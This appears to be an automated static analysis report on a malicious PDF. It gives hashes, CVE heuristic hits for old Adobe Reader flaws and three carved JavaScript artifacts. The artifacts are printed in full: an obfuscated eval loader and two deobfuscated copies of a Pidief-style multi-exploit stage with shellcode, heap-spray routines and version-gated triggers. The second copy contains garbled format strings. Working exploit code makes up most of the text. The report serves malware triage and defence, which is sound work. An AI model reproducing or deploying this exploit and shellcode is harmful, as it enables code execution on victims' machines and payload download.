Malicious PDF — malware analysis report

Static analysis result for SHA-256 fdaf2312ea111e52…

MALICIOUS

PDF

33.5 KB Created: 2010-07-25 10:32:51 First seen: 2026-05-08
MD5: 3493dbe929f690dfb9c00ca41fd1c012 SHA-1: dfca884f10a4f433e8636c89f4b80efa83e675b0 SHA-256: fdaf2312ea111e5234e82cc8ceab3ec8eb1c47df6355022508a833736a5d4b15
448 Risk Score

Malware Insights

The ML classifier strongly indicates maliciousness, and the PDF contains embedded JavaScript. The JavaScript action and embedded JS stream heuristics confirm the presence of executable code within the PDF. The 'D:20100725103251 script' in the document body further supports the presence of script content. The embedded JavaScript is likely designed to download and execute a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 10

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x81F5 614 bytes
SHA-256: f5c26dcb6c3c5643814e95a9c6353c45f343663828b7178fc293a47263c37273
Preview script
First 1,000 lines of the extracted script
cmzx = (function(){return this;}).call(null);
tba = new Date();
var jrog='';
var bwym = 'e'+tba.getFullYear()+'a'+jrog+'l';
hn=cmzx[bwym.replace('2010','v')];
function ggey(){
	var ap='',yt=[];
	var jrog='';
	hn('va'+jrog+'r nqu=th'+jrog+'i'+jrog+'s');
	hn('va'+jrog+'r qj=Str'+jrog+'ing.f'+jrog+'romC'+jrog+'harCode');
	var jvvt='prod' + tba.getFullYear()+'er';
	var cij = nqu[jvvt.replace('2010','uc')];
	var si = cij.split(',');
	kbp='le'+jrog+'ng'+jrog+'th';
	var ej = si[kbp] / 2;
	for (var dhsl = 0; dhsl < ej; dhsl++) {
		ap += qj(si[dhsl+ej] - si[dhsl]);
	}
	
	return ap;
	}
	var azcg=ggey();
	hn(azcg);
generic_stage_recovery_000.js deobfuscated-js generic stage recovery producer-halfdiff from raw PDF metadata at offset 0x0 3653 bytes
SHA-256: ac6c00857bff5293560d7a8462c794264377bc690330a75909776780dd3f3e9d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var yvjs='%u9090%u9090%u16eb%u41b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u5434%ue2aa%uc3fa%ue5e8%uffff%ubdff%u5558%u5454%ud50a%u08b8%u5455%udd54%ud9b3%u441b%u3bd9%u6500%u038f%u0705%u0707%u0707%u0707%u0701%u3c07%u5550%u5454%u0201%u3c07%u3a3b%u5454%u213c%u3826%u0039%uda3c%u5a1a%ubcb8%u541c%u5454%ubc04%u5428%u5454%u84ab%u90d7%u3c5c%ubb1b%u511b%ubc04%u5438%u5454%u84ab%u94d1%u4321%u003e%ua70d%u3cfe%uaa26%u42e7%u49bc%u5454%u0454%u05bc%u5454%uab54%u0784%uaa3e%udd3c%u553b%ubce9%u545c%u5454%ubc04%u5468%u5454%u84ab%u6534%u3094%u04df%udf64%u5806%u06df%udf40%u7c26%u4ced%u5454%u6554%u65ab%uf894%u3568%u5628%u7478%u9b95%u5559%ub693%ud5a4%u0fab%u1ee8%udf3e%u4416%u46df%u8d21%u10dd%u4870%u9735%udf34%u7038%udf70%u6811%u00df%u2c51%ube55%u1edf%udf4c%u740e%ubf55%u60b7%udf1d%udf60%uba55%uab65%u9465%uf8a8%u94d0%u5320%u9b95%u5559%ubf93%u6fa0%u7028%u217c%udfb5%u700e%ubf55%udf32%u1f58%u0edf%u5548%udfbf%udf50%ubc55%u10dd%u4870%u9635%u545c%ubbbc%uabaa%u3cab%u2020%u6e24%u7b7b%u3d3a%u243b%u2631%u2d20%u267a%u7b21%u3b36%u2635%u7b30%u3136%u3d33%u7a3a%u3c24%u6b24%u6932%u7264%u6931%u5465';function qkfc(yir,bcf){while(yir.length*2<bcf){yir+=yir;}
yir=yir.substring(0,bcf/2);return yir;}
function vum(){var ut=new Array();var nqdf=0x0c0c0c0c;var addr=0x400000;var payload=unescape(yvjs);var sc_len=payload.length*2;var bcf=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=qkfc(yarsp,bcf);var count2=(nqdf-0x400000)/addr;for(var count=0;count<count2;count++){ut[count]=yarsp+payload;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(yvjs);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);}
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(yvjs);var hWq500CN=payload.length*2;var bcf=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=qkfc(yarsp,bcf);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;}
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}}
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){vum();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}}
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(yvjs);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from raw PDF metadata at offset 0x0 3649 bytes
SHA-256: 29ed1b83075f45d0dc6d295b47a6bce86caac117c6d4f106e62a53e25a928c9b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var yvjs='%u9090%u9090%u16eb%u41b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u5434%ue2aa%uc3fa%ue5e8%uffff%ubdff%u5558%u5454%ud50a%u08b8%u5455%udd54%ud9b3%u441b%u3bd9%u6500%u038f%u0705%u0707%u0707%u0707%u0701%u3c07%u5550%u5454%u0201%u3c07%u3a3b%u5454%u213c%u3826%u0039%uda3c%u5a1a%ubcb8%u541c%u5454%ubc04%u5428%u5454%u84ab%u90d7%u3c5c%ubb1b%u511b%ubc04%u5438%u5454%u84ab%u94d1%u4321%u003e%ua70d%u3cfe%uaa26%u42e7%u49bc%u5454%u0454%u05bc%u5454%uab54%u0784%uaa3e%udd3c%u553b%ubce9%u545c%u5454%ubc04%u5468%u5454%u84ab%u6534%u3094%u04df%udf64%u5806%u06df%udf40%u7c26%u4ced%u5454%u6554%u65ab%uf894%u3568%u5628%u7478%u9b95%u5559%ub693%ud5a4%u0fab%u1ee8%udf3e%u4416%u46df%u8d21%u10dd%u4870%u9735%udf34%u7038%udf70%u6811%u00df%u2c51%ube55%u1edf%udf4c%u740e%ubf55%u60b7%udf1d%udf60%uba55%uab65%u9465%uf8a8%u94d0%u5320%u9b95%u5559%ubf93%u6fa0%u7028%u217c%udfb5%u700e%ubf55%udf32%u1f58%u0edf%u5548%udfbf%udf50%ubc55%u10dd%u4870%u9635%u545c%ubbbc%uabaa%u3cab%u2020%u6e24%u7b7b%u3d3a%u243b%u2631%u2d20%u267a%u7b21%u3b36%u2635%u7b30%u3136%u3d33%u7a3a%u3c24%u6b24%u6932%u7264%u6931%u5465';function qkfc(yir,bcf){while(yir.length*2<bcf){yir+=yir;}
yir=yir.substring(0,bcf/2);return yir;}
function vum(){var ut=new Array();var nqdf=0x0c0c0c0c;var addr=0x400000;var payload=unescape(yvjs);var sc_len=payload.length*2;var bcf=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=qkfc(yarsp,bcf);var count2=(nqdf-0x400000)/addr;for(var count=0;count<count2;count++){ut[count]=yarsp+payload;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(yvjs);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f",num);}
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(yvjs);var hWq500CN=payload.length*2;var bcf=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=qkfc(yarsp,bcf);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;}
var tUMhNbGw=unescape("	");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}}
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){vum();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}}
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(yvjs);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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